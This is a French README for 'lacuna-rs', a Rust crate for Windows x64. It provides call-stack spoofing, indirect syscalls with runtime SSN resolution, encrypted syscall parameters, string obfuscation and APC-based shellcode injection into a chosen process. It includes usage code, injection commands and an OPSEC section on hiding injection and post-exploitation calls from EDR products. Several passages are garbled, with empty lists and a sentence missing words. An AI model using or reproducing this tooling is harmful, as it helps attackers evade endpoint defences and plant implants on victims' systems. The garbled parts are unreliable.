lacuna-rs

Usurpation de pile d'appels par ghost-frame + appels système indirects à l'exécution pour Windows x64 — porté en Rust.

Porté depuis LACUNA Chain (lacuna_chain.c) par Mohamed Alzhrani (0xmaz).

lacuna-rs est une crate Rust réutilisable qui fournit les mêmes primitives que la TTP C originale, structurée pour être intégrée dans n'importe quel projet Rust — comme wsyscall-rs ou syscalls-rs, mais avec résolution SSN à l'exécution, ciblage syscall;ret par fonction et usurpation de pile par ghost-frame.

Critique : Exigence de pointeur de trame

La fonctionnalité stack-spoof échoue silencieusement si la crate consommatrice n'est pas compilée avec des pointeurs de trame.

Les primitives d'écrasement de pile dans chain.rs localisent l'emplacement de l'adresse de retour de l'appelant via un assembleur inline mov rbp, {x}. Cela nécessite que la chaîne RBP soit intacte. Rust (et la plupart des compilateurs en mode release) omettent les pointeurs de trame par défaut.

build.rs définit force-frame-pointers=yes pour la génération de code de cette crate, mais Cargo ne peut pas propager les flags du compilateur aux crates en aval. Vous devez ajouter ceci à votre propre projet :

# .cargo/config.toml  (dans VOTRE crate, pas dans lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Sans cela, stomp_plant() lira des valeurs erronées depuis RBP et soit ne fera rien (meilleur cas), soit corrompra la pile (pire cas). La crate n'a aucun moyen de détecter à l'exécution si les pointeurs de trame sont activés — cela ne fonctionnera tout simplement pas.

Si vous n'avez besoin que des primitives d'analyse, de résolution SSN ou d'injection (sans usurpation de pile), vous pouvez omettre la fonctionnalité stack-spoof et cette exigence ne s'applique pas.

Ce qu'il fait

Drapeaux de fonctionnalités

[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }

Lorsqu'aucune fonctionnalité n'est activée, seules les couches d'analyse/PE/NT sont disponibles.

Démarrage rapide

Analyser les régions fantômes

cargo run --example scan

Construire + vérifier la chaîne ghost-frame

cargo run --example verify --features stack-spoof

Injecter du shellcode via section + APC

Exemple d'injection avec un implant réel - C2 hors ligne mais le Shellcode s'est exécuté

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>

Ajoutez --verbose pour activer les diagnostics VEH (dumps de pile, impressions de registres) :

cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose

Algorithme de notation des threads

Au lieu de mettre en file d'attente des APC à chaque thread du processus cible (ce qui peut planter le processus lorsque trop de threads sont alertés simultanément), inject_sapc utilise un algorithme de notation pour sélectionner les meilleurs MAX_APC_THREADS (5) candidats :

• Temps de cycle — NtQueryInformationThread(ThreadCycleTime) — indicateur principal d'activité
• Temps CPU — NtQueryInformationThread(ThreadTimes) — temps noyau + utilisateur
• Compteur de suspension — NtQueryInformationThread(ThreadSuspendCount) — les threads non suspendus reçoivent un bonus de +300 ; les threads suspendus reçoivent -150 par suspension
• Priorité — NtQueryInformationThread(ThreadBasicInformation) — les threads avec une priorité de 8 à 10 reçoivent un bonus de +150 ; les priorités hors plage reçoivent une pénalité de -100

Les threads totalement inactifs (zéro cycles et zéro temps CPU) sont complètement ignorés. Les candidats restants sont triés par score (le plus élevé en premier, ex-æquo sur les cycles) et tronqués aux 5 premiers.

Utilisation en tant que bibliothèque

Basique : analyse + résolution SSN

use lacuna::{scan, nt, win::get_module};

let ntdll = get_module(b"ntdll.dll\0");

// Scan for ghost regions
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);

// Resolve SSN + syscall;ret for a specific function
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);

Émettre un stub d'appel système indirect pour n'importe quelle API NT

use lacuna::{nt, stub, win::{get_module, HMODULE}};

let ntdll: HMODULE = get_module(b"ntdll.dll\0");

// Resolve SSN + the function's own syscall;ret address
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);

// JIT-emit a stub: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (or jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret if build_chain was called)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");

// Cast to the matching function pointer type and call
let alloc_vm: unsafe extern "system" fn(
    win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };

Construire la chaîne ghost-frame + enregistrer VEH

// Scan ntdll/kernelbase/wow64/win32u for ghost regions and construct
// the six-layer fake call stack. Sets G_GHOST_GADGET so stubs route
// through JMP [RBX] in a signed DLL.
lacuna::chain::build_chain();

// Register VEH handlers (param encryption + chain guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");

// Optional: enable verbose diagnostics at runtime
lacuna::veh::set_verbose(true);

Envelopper un appel système sensible avec usurpation de pile + chiffrement des paramètres

use lacuna::win::HANDLE;
use core::ptr;

let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;

// Plant ghost frames (replaces return addresses with signed-DLL ghosts)
lacuna::chain::stomp_plant();

// Arm DR0 on the syscall;ret -- VEH will XOR-decrypt params at the boundary
lacuna::veh::pcrypt_arm(key, syscall_ret, true);

// Call through the indirect stub -- RIP lands inside ntdll at kernel entry
let _status = unsafe { open_proc(/* XOR-encrypted params */) };

// Always disarm before any non-protected call
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();

OPSEC : Que cacher derrière les ghost-frames

Tous les appels API n'ont pas besoin du traitement complet LACUNA. Le principe clé est : cacher les appels qu'un EDR corrélerait comme activité d'injection ou de post-exploitation.

Doivent être derrière des appels système indirects + ghost-frames + chiffrement des paramètres

Ce sont les appels système NT « bijoux de la couronne » que les EDR accrochent et corrèlent :

Pour chacun de ces appels :

1. Résoudre avec nt::resolve(ntdll, b"NtXxx\0")
2. Émettre un stub avec stub::make_stub(ssn, syscall_ret)
3. Chiffrer les paramètres sensibles avec veh::pcrypt_arm(key, syscall_ret, true)
4. Envelopper l'appel entre chain::stomp_plant() et chain::stomp_restore()

Peuvent être directs (pas besoin de ghost-frames)

Principes clés

1. Résoudre tout appel système NT avec nt::resolve(ntdll, b"NtXxx\0") — retourne (SSN, syscall_ret_VA).
2. Émettre un stub JIT avec stub::make_stub(ssn, syscall_ret) — retourne un pointeur de fonction appelable.
3. Caster le stub vers le type extern "system" fn(...) approprié via core::mem::transmute.
4. (Pour les appels sensibles uniquement) Construire la chaîne ghost-frame avec chain::build_chain() et appeler chain::stomp_plant() / chain::stomp_restore() autour de l'appel.
5. (Pour les appels sensibles uniquement) Armer le chiffrement des paramètres avec veh::pcrypt_arm(key, syscall_ret, true) avant l'appel, et veh::pcrypt_disarm() après.
6. Toujours désarmer le VEH avant d'effectuer des appels non protégés — un accès DR0 intempestif sur un appel système non armé plantera.
7. doivent être enveloppées dans — la crate l'impose, et les diagnostics VEH sont verrouillés derrière qui est désactivé par défaut.

Le stub gère automatiquement la séquence mov r10, rcx / mov eax, SSN / jmp [syscall;ret]. Si un gadget fantôme a été enregistré, le stub achemine via JMP [RBX] pour une redirection d'exécution à double usage + trame de pont sans artefact.

Vérification de la couverture de l'article

Les 9 contributions clés de l'article LACUNA Chain sont représentées dans le code :

Couverture de la surface de détection

Pourquoi ne pas simplement utiliser syscalls-rs ?

syscalls-rs et wsyscall-rs génèrent une table SSN au moment de la compilation à partir du ntdll d'une build Windows spécifique. Si la machine cible exécute une build différente, les SSN sont incorrects et les appels système échouent (ou déclenchent des heuristiques EDR).

lacuna-rs résout les SSN à l'exécution en lisant directement les stubs de ntdll, et cible la propre instruction syscall;ret de la fonction pour que RIP soit à l'intérieur de ntdll à l'entrée du noyau — contournant les heuristiques EDR « inadéquation SSN » et « appel système indirect depuis une mémoire non adossée ».

De plus, lacuna-rs fournit la chaîne d'usurpation de pile par ghost-frame que syscalls-rs ne propose pas.

Configuration requise pour la compilation

• Cible : x86_64-pc-windows-msvc (ou x86_64-pc-windows-gnu)
• Édition Rust : 2021
• Dépendances : litcrypt2 (obfuscation de chaînes à la compilation)

Configuration des pointeurs de trame (uniquement pour stack-spoof)

La fonctionnalité stack-spoof nécessite des pointeurs de trame. build.rs définit force-frame-pointers=yes automatiquement pour cette crate, mais les crates consommatrices doivent également le définir dans leur .cargo/config.toml :

# .cargo/config.toml (dans la crate consommatrice)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]

Obfuscation de chaînes avec litcrypt2

Tous les littéraux de chaîne dans la crate et les exemples sont enveloppés dans des macros lc!(), qui les chiffrent à la compilation et les déchiffrent à l'exécution. La clé de chiffrement est lue depuis la variable d'environnement LITCRYPT_ENCRYPT_KEY ; si elle n'est pas définie, litcrypt2 génère automatiquement une clé aléatoire.

Pour fixer une clé pour des builds reproductibles :

set LITCRYPT_ENCRYPT_KEY=votre-clé-secrète
cargo build

Architecture

lacuna-rs/
├── Cargo.toml
├── build.rs              # Définit force-frame-pointers pour stack-spoof
├── src/
│   ├── lib.rs            # Racine de la crate + réexportations + scan_all() + configuration litcrypt2
│   ├── win.rs            # Liaisons FFI Win32/NT (compatible no_std)
│   ├── pe.rs             # Analyse de section PE + export
│   ├── scan.rs           # Analyse de région fantôme .pdata + gadgets
│   ├── nt.rs             # Résolution SSN + ciblage syscall;ret
│   ├── stub.rs           # Émission de stub d'appel système indirect JIT
│   ├── veh.rs            # Chiffrement des paramètres VEH + point d'arrêt matériel
│   ├── chain.rs          # Chaîne ghost-frame LACUNA + écrasement
│   └── inject.rs         # Injection APC basée sur les sections
├── examples/
│   ├── scan.rs           # lacuna.exe scan
│   ├── verify.rs         # lacuna.exe verify
│   └── inject.rs         # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
    └── config.toml       # force-frame-pointers + cible windows-msvc

Crédits

• Recherche originale et implémentation C : Mohamed Alzhrani (0xmaz) — LACUNA Chain
• Technique : Ghost Frames: Forging Plausible Call Stacks from .pdata Lacunae
• Logique de recherche du meilleur thread APC : Adapté depuis FrankensteinAPCInjection par S12cybersecurity
• Obfuscation de chaînes : litcrypt2 v0.1.3

Divulgation complète

Ce projet a été activement assisté par un chatbot IA. J'ai eu la chance de tester un modèle Open Source plus récent et très performant (GLM-5.2 de Z.ai (Zhipu AI)) et j'ai voulu lui confier une tâche difficile. Leçons apprises : cela a bien fonctionné lorsque l'humain savait à quoi devait ressembler le résultat. Sinon... que du mauvais.

Licence

MIT